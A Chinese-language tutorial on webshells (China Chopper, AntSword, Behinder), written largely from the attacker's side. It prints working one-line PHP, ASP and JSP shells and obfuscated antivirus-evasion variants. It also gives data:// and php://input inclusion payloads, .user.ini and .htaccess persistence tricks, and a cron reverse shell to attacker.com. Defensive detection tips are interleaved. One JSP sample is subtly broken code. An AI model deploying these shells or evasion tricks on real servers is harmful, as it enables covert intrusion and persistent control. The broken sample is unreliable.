一、菜刀馬
菜刀馬(ChinaZ WebShell) 是一種與“中國菜刀(ChinaZ)”客戶端配合使用的 WebShell 木馬,廣泛應用于 Web 滲透測試中,主要使用 PHP/ASP/JSP 等語言編寫。
它的本質是一個一句話木馬,搭配專屬協議與客戶端通信,執行命令、讀寫文件、管理數據庫等操作。
1.1?菜刀馬核心結構(以 PHP 為例)
最基礎的一句話木馬:
<?php @eval($_POST['pass']); ?>
通信流程:
-
客戶端發送 HTTP 請求,POST 參數名為
pass
。 -
內容為 加密后的 PHP 代碼。
-
服務端
eval($_POST['pass'])
解密并執行。
1.2?加密通信協議(菜刀專用)
數據傳輸流程:
-
數據格式:
POST /shell.php HTTP/1.1
Content-Type: application/x-www-form-urlencodedpass=加密數據
默認密鑰算法(早期版本):
-
通信內容一般使用簡單的 base64 加密 + RC4 加密。
-
客戶端可自定義通信密鑰,用于加密傳輸數據與命令。
1.3?菜刀馬功能(客戶端支持)
-
文件管理(上傳/下載/編輯/刪除)
-
命令執行(shell)
-
數據庫管理(MySQL/MSSQL/Oracle)
-
進程管理(部分 ASP 環境)
-
遠程控制、反彈 shell
1.4?菜刀馬分類(按語言)
語言 | 示例 | 環境 |
---|---|---|
PHP | <?php @eval($_POST['pass']); ?> | Apache/Nginx + PHP |
ASP | <% eval request("pass") %> | IIS |
JSP | <% Runtime.getRuntime().exec(request.getParameter("cmd")); %> | Tomcat |
1.5?菜刀馬部署流程
-
找到上傳點或命令執行點。
-
上傳
shell.php
(或使用文件包含 LFI + php://input)。 -
在菜刀客戶端添加目標:
-
類型選擇 PHP
-
設置連接地址
-
輸入與馬子中一致的參數名(如:pass)
-
設置通信密碼(用于加解密)
-
-
連接成功后,即可進入圖形化 WebShell 管理界面。
1.6?菜刀馬免殺技巧
1)變量馬:
<?php $a = 'eva' . 'l'; $a($_POST['cmd']); ?>
2)異或加密馬:
<?php
$key = 'abc';
$data = base64_decode($_POST['d']);
for ($i=0; $i<strlen($data); $i++) {$data[$i] = $data[$i] ^ $key[$i % strlen($key)];
}
eval($data);
?>
3)POST 改為 COOKIE、GET:
<?php @eval($_COOKIE['p']); ?>
4)多層 base64 編碼 + eval 組合:
<?php eval(base64_decode($_POST['p'])); ?>
1.7?查殺與防御方法
檢測關鍵詞:
-
eval、assert、base64_decode、system、shell_exec 等。
-
文件中大量 POST/Cookie 參數執行操作。
檢測 WebShell 特征:
-
使用工具如 D盾、冰刃、神盾。
-
Yara 規則匹配。
防御思路:
-
禁止 eval、assert 等高危函數(
php.ini
中)。 -
使用 WAF 攔截菜刀通信特征。
-
檢查 Web 根目錄文件是否被新增或篡改。
-
啟用 open_basedir、防止訪問非授權路徑。
1.8?WebShell 與菜刀通信抓包分析
抓包示例(請求):
POST /shell.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencodedpass=V29yZHByZXNzIHNoZWxsIGNvbW1hbmQ=
抓包示例(響應):
HTTP/1.1 200 OK
Content-Type: text/html執行結果內容(可能已加密)
1.9?示例:自寫兼容菜刀的 PHP 馬(模擬)
<?php
$key = "123456"; // 通信密鑰
function decrypt($data, $key) {$data = base64_decode($data);for($i=0; $i<strlen($data); $i++) {$data[$i] = $data[$i] ^ $key[$i % strlen($key)];}return $data;
}eval(decrypt($_POST['pass'], $key));
?>
可以在菜刀客戶端設置相同加密規則后連接該馬。
1.10 小結
項目 | 內容 |
---|---|
核心形式 | 一句話木馬(eval($_POST['pass'])) |
通信協議 | 自定義密鑰 + Base64 或 RC4 加密 |
配合工具 | 中國菜刀(ChinaZ) |
免殺方式 | 變量馬、異或馬、COOKIE馬、多層編碼 |
檢測方式 | 特征字符串、函數行為檢測、Yara、日志分析 |
防御手段 | 禁止危險函數、文件完整性監控、WAF攔截 |
二、蟻劍馬
蟻劍(AntSword) 是一款開源的 WebShell 管理工具,支持多種語言(PHP/ASP/JSP/ASPX),功能強大且模塊化,支持插件系統,常用于 Web 滲透測試中。
蟻劍馬指的是配合蟻劍客戶端通信的 WebShell 后門代碼。與菜刀相比,蟻劍通信協議更新、更安全,使用 JSON 格式或 AES 加密。
核心原理與通信結構
核心機制:
-
上傳一個后門 WebShell(PHP/JSP/ASP)
-
設置連接參數(語言、密碼、路徑)
-
客戶端通過 POST 請求發送加密命令
-
后門解密并執行,返回加密結果
2.1?蟻劍馬結構(以 PHP 為例)
最簡單 PHP 蟻劍馬(明文版):
<?php
@eval($_POST['ant']);
?>
標準蟻劍馬(帶通信結構):
蟻劍支持多種加密方式,以下為其默認 AES 加密通信方式的 Shell:
<?php
$password = "ant";
$key = "abcdef0123456789"; // 16 字節 AES 密鑰
$data = openssl_decrypt(base64_decode($_POST[$password]), 'AES-128-ECB', $key);
eval($data);
?>
在蟻劍客戶端:
-
設置密碼為
ant
-
加密方式為
AES
-
密鑰為
abcdef0123456789
2.2?蟻劍通信協議
通信內容結構:
-
HTTP POST 請求,參數名是你設置的密碼(如
ant
) -
值是 AES 加密 + base64 編碼后的 PHP 命令
-
服務端接收后解密并執行
2.3?蟻劍馬的類型與區別
類型 | 是否加密 | 是否加密傳輸 | 安全性 |
---|---|---|---|
明文馬 | 否 | 否 | 極易被殺毒 |
base64馬 | 是 | 否 | 中等 |
AES馬(推薦) | 是 | 是 | 較強 |
2.4?蟻劍客戶端功能支持
-
命令執行(Shell 控制臺)
-
文件管理(上傳、刪除、修改、重命名)
-
數據庫連接(支持 MySQL、MSSQL、Oracle)
-
插件支持(編碼器、內存馬、權限維持)
-
交互式終端(偽 shell)
2.5?蟻劍馬免殺技巧
方法一:變量馬
<?php $a = "eva"."l"; $a($_POST['p']); ?>
方法二:AES 加密(插件支持自動加密)
<?php
$key = '1234567890123456';
$data = openssl_decrypt(base64_decode($_POST['a']), 'AES-128-ECB', $key);
eval($data);
?>
方法三:混淆關鍵字
<?php
$func = str_rot13('rine'); // eval
$func($_POST['p']);
?>
方法四:隱藏在正常文件中(隱寫)
-
插入到正常 PHP 文件末尾
-
使用圖片偽裝(馬子改后綴為 .jpg 上傳)
2.6?查殺與檢測方式
工具檢測:
-
D盾
-
WebShell Detector
-
神盾
-
火眼
行為檢測:
-
訪問頻率異常(頻繁 POST)
-
某個文件頻繁調用
eval()、system()、shell_exec()
文件特征檢測:
-
文件名異常(如 shell.php)
-
文件體積過小
-
非 UTF-8 編碼
-
包含敏感關鍵詞(?如
eval($_POST)
)
2.7?防御建議
-
禁用危險函數:
eval、assert、system、exec、shell_exec、passthru
-
對上傳文件做嚴格校驗(MIME 類型、擴展名、內容)
-
開啟 WAF 攔截常見通信模式(尤其是 AES 模式 POST)
-
使用文件完整性檢測(AIDE、Tripwire)
-
配置 php.ini:
disable_functions = "eval,system,passthru,shell_exec,exec,assert"
open_basedir = "/var/www/html/"
2.8?與菜刀馬對比
項目 | 菜刀馬 | 蟻劍馬 |
---|---|---|
通信協議 | 自定義 RC4/Base64 | JSON + AES 加密 |
功能 | 豐富但老舊 | 更現代、插件支持強 |
安全性 | 較低(免殺難) | 中高(通信加密更強) |
開源程度 | 私有 | 完全開源 |
兼容性 | ASP/ASPX/PHP/JSP | PHP/ASPX/JSP(支持廣) |
2.9 小結
項目 | 內容 |
---|---|
核心 | 上傳后門 + 加密通信 + eval 執行 |
推薦通信方式 | AES 加密模式(安全性好) |
優點 | 插件多、功能強、安全性高 |
缺點 | 如果馬被提取,仍有被破密風險 |
檢測 | 關鍵詞、函數行為、WAF 攔截、完整性檢測 |
免殺 | 使用變量馬、AES 加密馬、偽裝文件等方式 |
三、冰蝎馬
冰蝎(Behinder)是一款國產高級 WebShell 管理工具,支持 PHP、JSP、ASP.NET 等語言,最大的特點是:
-
全部通信加密(AES)
-
采用動態類加載(Java Class)或內存加載
-
可自動注入內存馬
-
配合反序列化利用,實現無文件控制
冰蝎馬 ≠ 一句話木馬,而是一個具備完整通信協議和惡意代碼注入邏輯的高隱蔽性控制后門。
3.1?冰蝎的通信原理
核心特性:
-
AES 加密通信(CBC 模式)
-
數據以
byte[]
傳輸 -
客戶端和服務端都有通信模塊,使用自定義協議
冰蝎默認配置:
參數 | 示例值 |
---|---|
密碼 | rebeyond |
AES 密鑰 | 16 字節密鑰(由密碼派生) |
加密方式 | AES/CBC/PKCS5Padding |
數據編碼 | base64 -> byte[] -> AES -> base64 |
3.2?冰蝎馬結構(以 JSP 為例)
<%@ page import="java.util.*,javax.crypto.*,javax.crypto.spec.*" %>
<%
String k = "e45e329feb5d925b"; // AES 密鑰
Cipher c = Cipher.getInstance("AES/CBC/PKCS5Padding");
SecretKeySpec skey = new SecretKeySpec(k.getBytes(), "AES");
IvParameterSpec iv = new IvParameterSpec(k.getBytes());
c.init(Cipher.DECRYPT_MODE, skey, iv);
byte[] data = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getParameter("payload")));
new java.lang.reflect.Method().invoke(data);
%>
-
客戶端發送 AES 加密后的 Java 字節碼(Class)
-
服務端解密,使用反射或 ClassLoader 加載執行
3.3?冰蝎馬的類型
類型 | 描述 |
---|---|
JSP 內存馬 | 把惡意類動態加載進 JVM 內存 |
ASP.NET Webshell | 執行 .NET 編譯類的 byte[] 形式 |
PHP Shell | 用 base64+AES 加密的方式傳輸 PHP 代碼 |
Memory Shell(內存馬) | Servlet/Filter/Listener 注入內存,持久駐留 |
ShellCode(CobaltStrike 聯動) | 提供反彈、注入、內存提權功能 |
3.4?冰蝎馬的優勢
優點 | 說明 |
---|---|
?完全加密通信 | 無法直接抓包分析 |
?無文件落地(內存執行) | 對抗查殺強 |
?支持內存馬注入 | 可實現持久化控制 |
?插件系統強大 | 文件管理、數據庫、反彈 Shell、橫向移動 |
?多語言支持 | PHP、JSP、ASPX、Go 等 |
3.5?冰蝎免殺原理
冰蝎本身難免殺的關鍵有兩點:
通信加密:
-
所有指令和數據都用 AES 加密,攔截器/WAF 難以提取明文特征
反射執行 + 動態類加載:
-
加載字節碼類到內存,動態執行,不落地磁盤
無明顯關鍵詞:
-
文件中幾乎沒有
eval
、system
等高危函數
3.6?查殺與檢測方式
行為檢測:
-
請求量異常集中、訪問頻繁
-
某 JSP/PHP 長時間駐留內存
-
反射加載類的行為異常(ClassLoader 被調用)
文件掃描:
-
JSP 文件中存在 AES 解密器
-
存在大量 byte[] 處理、base64 處理、cipher 調用
內存掃描(關鍵):
-
使用開源工具,如:
-
MemoryShellHunter
-
冰蝎查殺器
-
Sojson JSP 探針
-
蟻劍聯合插件
-
3.7?防御建議
方法 | 實施方式 |
---|---|
WAF 檢測 | 對 POST 請求體、AES 加密特征、classloader 調用進行分析 |
文件監控 | 文件哈希、修改時間監控,JSP 代碼靜態分析 |
內存檢測 | 使用 Java Agent、JVM Attach 檢測 Filter/Servlet 注入 |
禁止類加載反射 | 限制調用 defineClass 、defineClass0 等 |
最小權限原則 | 限制 Web 用戶權限、防止寫入臨時目錄 |
3.8?實戰舉例:冰蝎 JSP 內存馬注入流程
-
風險點上傳冰蝎 JSP Shell
-
連接后注入內存馬(Filter型)
-
刪除原始 JSP 文件(Shell 仍可用)
-
冰蝎客戶端繼續連接,控制不掉線
-
實現持久控制 + 橫向拓展
3.9?和蟻劍/菜刀對比總結
項目 | 菜刀馬 | 蟻劍馬 | 冰蝎馬 |
---|---|---|---|
通信協議 | 明文/RC4 | AES/Base64 | AES-CBC |
加密強度 | 弱 | 中 | 強 |
是否落地 | 是 | 是 | 可無落地(內存馬) |
控制強度 | 中 | 強 | 極強 |
檢測難度 | 容易 | 中 | 難 |
插件功能 | 普通 | 豐富 | 非常豐富 |
支持語言 | PHP/ASP/JSP | 多種 | 多種 + 內存注入 |
3.10 小結
分類 | 說明 |
---|---|
核心原理 | AES 加密 + 類加載 + 內存注入 |
難點 | 無明顯關鍵字、行為完全動態 |
檢測方法 | 內存掃描、ClassLoader 檢測、JVM Hook |
防御建議 | WAF + Host 安全 + 內存防護(Attach 檢測) |
四、WebShell 免殺技巧
WebShell 一旦被上傳或植入,面臨安全軟件/防護系統的檢測(WAF、殺軟、規則引擎),尤其是:
檢測方式 | 舉例 |
---|---|
特征匹配 | eval($_POST['a']) 、system($_GET['cmd']) |
正則識別 | 可疑函數、短變量名、長 POST 數據 |
行為檢測 | 非標準請求、反射加載、動態函數名執行 |
為此,需要對 WebShell 做“變形”處理,變得 更隱蔽、更分散、動態執行,從而達到免殺目的。
4.1?變量馬(變量函數執行)
原理:將危險函數(如 eval
、assert
、system
等)用變量名間接引用執行,避免靜態特征命中。
示例代碼(PHP):
<?php
$a = 'assert';
$b = $_POST['cmd'];
$a($b); // 等價于:assert($_POST['cmd']);
?>
或者混淆變量名:
<?php
$func = "eva" . "l"; // 拼接
$func($_POST['cmd']);
?>
常見變體:
技術 | 示例 |
---|---|
函數名拼接 | $f = 'sy'.'stem'; $f($_GET['cmd']); |
參數名偽裝 | $b = $_POST['config']; $f($b); |
動態執行方式 | call_user_func($f, $b); |
優點:
-
對抗靜態特征匹配(如 WAF 檢測規則)
-
躲避代碼審計工具
-
邏輯簡單,穩定易用
缺點:
-
WAF/EDR 可結合語義分析檢測
-
仍易被人工審計識別
4.2?異或馬(加密執行)
原理:使用異或、base64、hex 等方式將真實 Payload 加密,運行時解密后執行,可實現弱加密 + 動態執行。
示例代碼(異或):
<?php
$key = 'k'; // 異或密鑰
$data = $_POST['data'];
$code = '';for ($i = 0; $i < strlen($data); $i++) {$code .= $data[$i] ^ $key;
}eval($code);
?>
客戶端執行:
// 客戶端示例:將命令異或后 POST 發送
$payload = "phpinfo();";
$key = 'k';
$xor = '';for ($i = 0; $i < strlen($payload); $i++) {$xor .= $payload[$i] ^ $key;
}echo base64_encode($xor); // -> POST 到 WebShell
常見加密方式:
方法 | 說明 |
---|---|
base64 | eval(base64_decode($_POST['cmd'])); |
str_rot13 | eval(str_rot13($_POST['code'])); |
gzuncompress | eval(gzuncompress(base64_decode(...))) |
異或加密 | for 循環 + eval |
RC4 自定義實現 | 加密強度更高,繞過率更強 |
優點:
-
躲避字符串特征匹配
-
運行時解密,提高動態隱蔽性
-
可寫成多層加密(套娃式免殺)
缺點:
-
性能略低
-
高級查殺軟件可解密還原(如 D盾、冰刃)
4.3?變量馬 + 異或馬(組合型)
示例:
<?php
$func = "as" . "sert";
$k = 'x';
$data = $_POST['data'];
$code = '';for ($i = 0; $i < strlen($data); $i++) {$code .= $data[$i] ^ $k;
}$func($code);
?>
特點:
-
函數名繞過(變量拼接)
-
Payload 加密(異或)
-
解密后執行(動態執行)
這種組合馬免殺率非常高,很多初級檢測工具和規則完全看不出來。
4.4?其他免殺技巧補充
技巧 | 示例 |
---|---|
自定義函數 | function go($x){eval($x);} go($_POST['cmd']); |
使用 call_user_func() | call_user_func('eval', $_POST['x']); |
使用 array_map() | array_map('assert', [$_POST['cmd']]); |
拼接危險代碼再執行 | $x = 'ev'.'al'; $x($_POST['cmd']); |
使用 preg_replace('/.*/e', ...) | 已廢棄,但歷史代碼中常見 |
4.5?免殺效果評估建議
本地測試工具:
工具 | 用途 |
---|---|
D盾 | 靜態掃描常見木馬特征 |
冰刃 | 行為檢測、進程通信監控 |
PhpStorm 插件 | 可做代碼審計和語義分析 |
手動逆向分析 | 解密異或/多層加密馬 |
YARA | 寫規則對比函數調用/語義特征 |
總結免殺技巧關鍵點:
項目 | 說明 |
---|---|
變量馬 | 使用變量名代替敏感函數名執行 |
異或馬 | 使用簡單加密隱藏真實 Payload |
組合型 | 將變量執行 + 異或加密組合使用 |
多層馬 | base64 + 異或 + 函數拼接 + gzip 疊加免殺 |
行為偽裝 | 添加正常邏輯、頁面元素、變量名混淆 |
五、文件包含與加載繞過
5.1?基本概念:文件包含
文件包含是指服務端在執行某個腳本時,通過 PHP 函數如 include
/ require
/ include_once
/ require_once
動態加載另一個文件內容來執行。
include("shell.php");
攻擊者若控制了被包含文件的路徑或內容,就可以:
-
執行惡意代碼(植入 WebShell)
-
繞過 Web 應用主邏輯控制
-
實現權限維持
5.2?常見加載方式及繞過技巧
1)利用弱類型變量包含(變量包含)
include($_GET['file']); // file=shell.php
如果沒有白名單校驗,可以直接傳入任意文件路徑。
繞過方式:
方法 | 示例 |
---|---|
路徑繞過 | file=../../../../../tmp/shell.txt |
編碼繞過 | file=php://filter/convert.base64-encode/resource=shell.php |
協議繞過 | file=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbYV0pOz8+ (base64 編碼的PHP代碼) |
2)利用偽協議繞過加載限制
PHP 支持很多“偽協議”,可用于執行、讀取非文件資源,比如:
協議 | 用途 |
---|---|
php://input | 讀取原始 POST 數據 |
php://filter | 對文件內容進行轉碼(如 base64 編碼) |
data:// | 執行 base64 編碼內容 |
zip:// | 加載壓縮包內的 PHP 文件 |
expect:// | 在某些環境中用于執行 shell 命令(常被禁) |
示例:
include('php://input');
此時你可以通過 POST 提交任意 PHP 代碼:
POST /index.php
Content-Type: text/plain<?php eval($_POST['cmd']); ?>
服務器讀取 php://input
,就執行了 POST 數據內的 WebShell。
3)使用 base64 + php://filter 繞過靜態檢測
include("php://filter/convert.base64-encode/resource=shell.php");
然后再將 base64 內容通過另一段代碼 eval(base64_decode(...))
解析執行。
這個技巧可以:
-
對抗 WebShell 特征掃描(D盾無法匹配原始內容)
-
配合動態執行 payload
4)使用 data:// 協議內嵌馬
include("data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjJ10pOz8+");
等價于:
<?php system($_GET['c']); ?>
原始代碼經過 base64 編碼后被嵌入 URL 中,繞過上傳限制與查殺。
5.3?文件包含結合免殺使用方式
- 主頁面只有一行加載代碼:
include('1.dat');
-
而
1.dat
文件的后綴是.dat
,不會被安全設備識別為可執行 PHP 文件,但內容實際是加密的 PHP WebShell。 -
解密過程通過主頁面來執行,例如:
$content = file_get_contents('1.dat');
eval(xor_decode($content));
這樣可以:
-
把馬藏在任意后綴文件中(非 .php)
-
通過加載解密后執行,達成隱蔽目的
5.4?上傳限制繞過 + 文件包含配合
在文件上傳限制中,若不能直接上傳 .php
文件,可以上傳 .jpg
、.txt
等文件:
-
上傳:馬文件為
shell.jpg
內容為:<?php system($_GET['cmd']); ?>
-
然后:用文件包含執行它
include('uploads/shell.jpg'); // 實際執行里面的 PHP 代碼
注意:服務器必須未禁用 PHP 的 short_open_tag
或 allow_url_include
,否則會失敗。
5.5?實戰技巧組合
目標 | 技術組合 |
---|---|
免殺 | WebShell 放在 .dat/.log,用 php://filter 或 file_get_contents 解密 |
隱蔽 | 用 include($a) 動態包含,路徑用 base64/異或加密 |
上傳繞過 | 上傳偽后綴木馬(.jpg、.pdf),然后利用包含加載執行 |
單文件加載多個馬 | 主文件中使用數組遍歷加載多個 payload 文件,實現多點控制 |
5.6?防御方的檢測方式
檢測點 | 方法 |
---|---|
靜態掃描 | 查找敏感函數:include($_GET) 、eval(file_get_contents()) 等 |
動態行為檢測 | 檢測包含偽協議的行為,禁用 allow_url_include |
WAF 規則 | 識別 php:// , data:// 等關鍵協議關鍵字 |
上傳控制 | 限制上傳目錄執行權限 + 校驗內容頭部特征 |
審計 | 分析加載鏈,發現隱藏的木馬入口文件 |
5.7 小結
點位 | 描述 |
---|---|
文件包含馬 | 將惡意代碼放在非主馬中,通過 include 加載執行 |
偽協議加載 | 使用 php://input 、php://filter 、data:// 繞過常規檢測 |
文件偽裝 | 將馬偽裝成 .jpg/.txt/.dat,再通過加載方式執行 |
加密加載 | WebShell 加密存儲,運行時解密加載執行,提升免殺性 |
六、后門維持權限的方式
為什么需要權限維持?
當攻擊者成功上傳 WebShell 或 RCE 后,并不意味著永遠控制了主機。管理員可能:
-
殺掉進程 / 刪除文件
-
關閉上傳風險點
-
重啟服務清除環境
所以攻擊者會留下「隱蔽持久后門」以便未來再次進入。
6.1?方式一:.user.ini
權限維持后門
.user.ini
是 PHP 的用戶級配置文件,專用于 CGI/FPM 模式。
使用方法:
可以寫入指令修改當前目錄或子目錄的 PHP 配置行為。
示例一:自動加載后門
payload:
.user.ini
中寫入:
auto_prepend_file = "shell.php"
意思是:在該目錄下的所有 PHP 文件執行前,都會先執行 shell.php
。
作用:
-
shell.php
中可以是木馬 -
管理員刪除原始 WebShell 頁面也沒用
-
你訪問任何頁面,木馬都先被執行了
示例二:加載隱藏木馬(結合免殺)
auto_prepend_file = "php://filter/convert.base64-decode/resource=hidden.dat"
然后 hidden.dat
是 base64 編碼的 WebShell。
這樣可以配合免殺進行隱蔽控制。
6.2?方式二:.htaccess
權限維持后門
.htaccess
是 Apache 的目錄配置文件,可以控制訪問邏輯、解析規則。
使用方式:
通過配置 .htaccess
強行讓非 .php
文件被當作 PHP 執行。
示例一:改解析規則
AddType application/x-httpd-php .jpg
意思是:讓 .jpg
文件當作 PHP 來執行。
然后你上傳一個名為 shell.jpg
的 WebShell,就能被執行。
示例二:隱藏 WebShell 路徑
RewriteEngine On
RewriteRule ^admin$ shell.php
訪問 /admin
實際會加載 shell.php
,達成路徑偽裝效果。
6.3?方式三:計劃任務維持后門
系統級后門的一種方式,尤其用于 Linux 主機或擁有 root 權限的情況。
Linux 中使用 crontab
創建定時任務
crontab -e
添加:
*/5 * * * * php /var/www/html/shell.php
每 5 分鐘執行一次 WebShell。
哪怕管理員刪了 WebShell,計劃任務也可以:
-
自動恢復上傳馬子
-
下載遠程 payload
-
或打開反彈 Shell
示例:反彈 Shell 恢復權限
*/10 * * * * bash -i >& /dev/tcp/attacker.com/4444 0>&1
-
每 10 分鐘給攻擊者服務器反彈一個 Shell
-
保證你即使被踢也能重連回來
如果是 root 權限,還可以寫系統啟動項:
echo "@reboot php /var/www/shell.php" >> /etc/crontab
系統一重啟,你的 WebShell 又被加載回來。
6.4?其他持久化方法簡略一覽
方法 | 簡介 |
---|---|
修改系統啟動項 | 寫入 /etc/init.d/ 、/etc/rc.local ,開機自啟動 WebShell |
數據庫后門 | 在 MySQL trigger 或存儲過程插入反彈 Shell |
PHP session 持久化 | 將 WebShell 寫入 session 臨時文件 |
上傳木馬到計劃任務目錄 | 比如寫入 /etc/cron.hourly/evil.sh |
修改系統文件 | 替換 /usr/bin/php 等工具,在使用中植入后門 |
遠程加載馬子 | 留下一句話馬,加載遠程 payload,每次動態獲取馬體 |
6.5?配合其他技巧增強隱蔽性
-
.user.ini
+ 加密加載馬 + base64 編碼 -
.htaccess
+.png
馬偽裝成圖片訪問 -
計劃任務 + WebShell 自動恢復腳本
-
上傳后門 + 文件包含動態執行 + XOR 加密馬體
6.6?防御角度:如何檢測和清理?
項目 | 檢測方法 |
---|---|
.user.ini | 查找是否有 auto_prepend_file 、auto_append_file |
.htaccess | 是否改了文件后綴解析或設置了 Rewrite |
crontab | 查看 crontab -l 、/etc/cron* 是否有惡意任務 |
隱藏馬 | 查日志 + 比對文件時間 + 殺毒工具(D盾、ClamAV) |
開機啟動 | 查 /etc/rc.local 、systemd 、init.d |
6.7 小結
類型 | 技術 | 隱蔽性 | 持久性 | 風險 |
---|---|---|---|---|
.user.ini | 自動加載馬 | 高 | 高 | 中 |
.htaccess | 文件偽裝 + 重定向 | 高 | 中 | 中 |
計劃任務 | 定時恢復后門 / 反彈 Shell | 中 | 高 | 高 |